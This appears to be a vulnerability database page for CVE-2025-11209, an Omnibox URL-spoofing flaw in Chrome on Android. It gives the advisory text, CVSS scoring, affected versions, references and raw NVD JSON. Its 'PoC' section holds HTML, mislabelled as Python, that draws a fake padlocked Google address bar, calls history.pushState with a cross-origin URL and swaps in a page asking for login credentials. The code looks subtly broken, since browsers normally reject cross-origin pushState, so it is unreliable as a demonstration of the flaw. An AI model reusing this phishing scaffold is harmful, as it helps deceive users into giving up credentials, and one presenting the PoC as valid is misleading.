CVE-2025-11209

Description

Inappropriate implementation in Omnibox in Google Chrome on Android prior to 141.0.7390.54 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11209 PoC: Omnibox Spoofing in Chrome on Android -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11209 Omnibox Spoofing PoC</title>
    <style>
        body { margin: 0; padding: 20px; font-family: Arial, sans-serif; }
        .spoofed-bar { background: #f1f3f4; padding: 8px 12px; border-radius: 20px; margin-bottom: 20px; }
        iframe { width: 100%; height: 600px; border: 2px solid #ccc; }
    </style>
</head>
<body>
    <h2>CVE-2025-11209 PoC - Omnibox URL Spoofing</h2>
    <div class="spoofed-bar">
        <strong>🔒 https://www.google.com</strong>
        <span style="color: #666;"> (欺骗性地址栏显示)</span>
    </div>
    <p>此PoC演示了如何通过构造特殊HTML页面欺骗Android Chrome的Omnibox显示内容。</p>
    
    <script>
        // 攻击机制：通过iframe嵌套和history操作欺骗地址栏
        // 1. 创建指向可信站点的iframe
        // 2. 在iframe加载完成后，通过history操作影响地址栏显示
        // 3. 用户看到的地址栏显示合法URL，但实际内容已替换为恶意页面
        
        function performSpoofAttack() {
            // 创建隐藏的iframe指向合法网站
            const iframe = document.createElement('iframe');
            iframe.src = 'https://www.google.com';
            iframe.style.display = 'none';
            document.body.appendChild(iframe);
            
            // 等待iframe加载后执行欺骗操作
            iframe.onload = function() {
                // 通过history.pushState操纵浏览历史
                history.pushState({}, '', 'https://www.google.com');
                // 在当前页面加载钓鱼内容
                document.body.innerHTML = '<h1>钓鱼页面内容</h1><p>请输入您的登录凭据</p>';
            };
        }
        
        // 触发攻击
        setTimeout(performSpoofAttack, 1000);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11209
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11209
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11209/
[4] VulDB https://vuldb.com/cve/CVE-2025-11209
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/438226517

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11209", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:38.850", "lastModified": "2025-11-13T15:30:02.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Omnibox in Google Chrome on Android prior to 141.0.7390.54 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/438226517", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}